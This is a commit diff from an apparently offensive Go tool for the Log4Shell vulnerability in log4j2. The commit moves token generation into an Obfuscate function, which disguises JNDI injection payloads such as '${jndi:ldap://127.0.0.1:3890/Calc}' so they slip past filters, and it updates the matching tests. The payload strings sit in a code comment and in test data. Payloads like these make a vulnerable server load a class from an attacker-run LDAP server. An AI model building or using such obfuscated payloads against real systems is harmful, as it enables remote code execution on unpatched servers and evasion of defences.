move generate token to the log4shell.Obfuscate, update tests.

Author: For-ACGN

cmd/main.go

@@ -5,7 +5,6 @@ import (
 	"flag"
 	"fmt"
 	"log"
-	"math/rand"
 	"os"
 	"os/signal"
 
@@ -56,18 +55,19 @@ func banner() {
 func main() {
 	// output obfuscated string
 	if rawStr != "" {
+		obfuscated, rwt := log4shell.Obfuscate(rawStr, !noToken)
+		var raw string
+		if noToken {
+			raw = rawStr
+		} else {
+			raw = rwt
+		}
+		fmt.Printf("raw: %s\n\n", raw)
+		fmt.Println(obfuscated)
 		if noToken {
-			fmt.Printf("raw: %s\n\n%s\n", rawStr, log4shell.Obfuscate(rawStr))
 			return
 		}
-
-		front := rawStr[:len(rawStr)-1]
-		token := generateToken()
-		last := string(rawStr[len(rawStr)-1])
-		rawStr = fmt.Sprintf("%s_%s%s", front, token, last)
-		fmt.Printf("raw: %s\n\n%s\n\n", rawStr, log4shell.Obfuscate(rawStr))
-
-		const notice = "[info] each string can only be used once, or wait %d seconds.\n"
+		const notice = "\nEach string can only be used once, or wait %d seconds.\n"
 		fmt.Printf(notice, log4shell.TokenExpireTime)
 		return
 	}
@@ -95,25 +95,6 @@ func main() {
 	checkError(err)
 }
 
-func generateToken() string {
-	const n = 16
-
-	str := make([]rune, n)
-	for i := 0; i < n; i++ {
-		s := ' ' + 1 + rand.Intn(90) // #nosec
-		switch {
-		case s >= '0' && s <= '9':
-		case s >= 'A' && s <= 'Z':
-		case s >= 'a' && s <= 'z':
-		default:
-			i--
-			continue
-		}
-		str[i] = rune(s)
-	}
-	return string(str)
-}
-
 func checkError(err error) {
 	if err != nil {
 		log.Fatalln("[error]", err)

obfuscate.go

@@ -1,6 +1,7 @@
 package log4shell
 
 import (
+	"fmt"
 	"math/rand"
 	"strings"
 )
@@ -21,11 +22,25 @@ var skippedChars = map[byte]struct{}{
 
 // Obfuscate is used to obfuscate malicious(payload) string
 // like ${jndi:ldap://127.0.0.1:3890/Calc} for log4j2 package.
-func Obfuscate(raw string) string {
+// Return value are obfuscated string and raw with token.
+func Obfuscate(raw string, token bool) (string, string) {
 	l := len(raw)
 	if l == 0 {
-		return ""
+		return "", ""
 	}
+
+	// add token to the end of class name
+	var rwt string // raw with token
+	if token {
+		front := raw[:len(raw)-1]
+		token := randString(16)
+		last := string(raw[len(raw)-1])
+		raw = fmt.Sprintf("%s_%s%s", front, token, last)
+
+		rwt = raw
+		l = len(raw)
+	}
+
 	obfuscated := strings.Builder{}
 
 	remaining := l
@@ -54,8 +69,8 @@ func Obfuscate(raw string) string {
 			}
 		}
 
+		// obfuscate or not
 		if skip || (!randBool() && lastObfuscated) {
-			// not obfuscate
 			obfuscated.WriteString(section)
 
 			remaining -= size
@@ -94,5 +109,5 @@ func Obfuscate(raw string) string {
 		lastObfuscated = true
 	}
 
-	return obfuscated.String()
+	return obfuscated.String(), rwt
 }

obfuscate_test.go

@@ -15,23 +15,55 @@ func TestObfuscate(t *testing.T) {
 			"${jndi:ldap://127.0.0.1:3890/Nop}",
 			"test",
 		} {
-			obfuscated := Obfuscate(testdata)
-			fmt.Println(testdata)
-			fmt.Println(obfuscated)
-			fmt.Println()
+			t.Run("with token", func(t *testing.T) {
+				obfuscated, rwt := Obfuscate(testdata, true)
+				fmt.Println(testdata)
+				fmt.Println(rwt)
+				fmt.Println(obfuscated)
+				fmt.Println()
+			})
+
+			t.Run("without token", func(t *testing.T) {
+				obfuscated, rwt := Obfuscate(testdata, false)
+				fmt.Println(testdata)
+				require.Zero(t, rwt)
+				fmt.Println(obfuscated)
+				fmt.Println()
+			})
 		}
 	})
 
 	t.Run("empty raw string", func(t *testing.T) {
-		obfuscated := Obfuscate("")
-		require.Zero(t, obfuscated)
+		t.Run("with token", func(t *testing.T) {
+			obfuscated, rwt := Obfuscate("", true)
+			require.Zero(t, rwt)
+			require.Zero(t, obfuscated)
+		})
+
+		t.Run("without token", func(t *testing.T) {
+			obfuscated, rwt := Obfuscate("", false)
+			require.Zero(t, rwt)
+			require.Zero(t, obfuscated)
+		})
 	})
 
 	t.Run("fuzz", func(t *testing.T) {
-		for i := 0; i < 100000; i++ {
-			raw := "${" + randString(64) + "}"
-			obfuscated := Obfuscate(raw)
-			require.NotZero(t, obfuscated)
-		}
+		t.Run("with token", func(t *testing.T) {
+			for i := 0; i < 100000; i++ {
+				raw := "${" + randString(64) + "}"
+				obfuscated, rwt := Obfuscate(raw, true)
+				require.NotZero(t, rwt)
+				require.NotZero(t, obfuscated)
+			}
+		})
+
+		t.Run("without token", func(t *testing.T) {
+			for i := 0; i < 100000; i++ {
+				raw := "${" + randString(64) + "}"
+				obfuscated, rwt := Obfuscate(raw, false)
+				require.Zero(t, rwt)
+				require.NotZero(t, obfuscated)
+			}
+		})
 	})
 }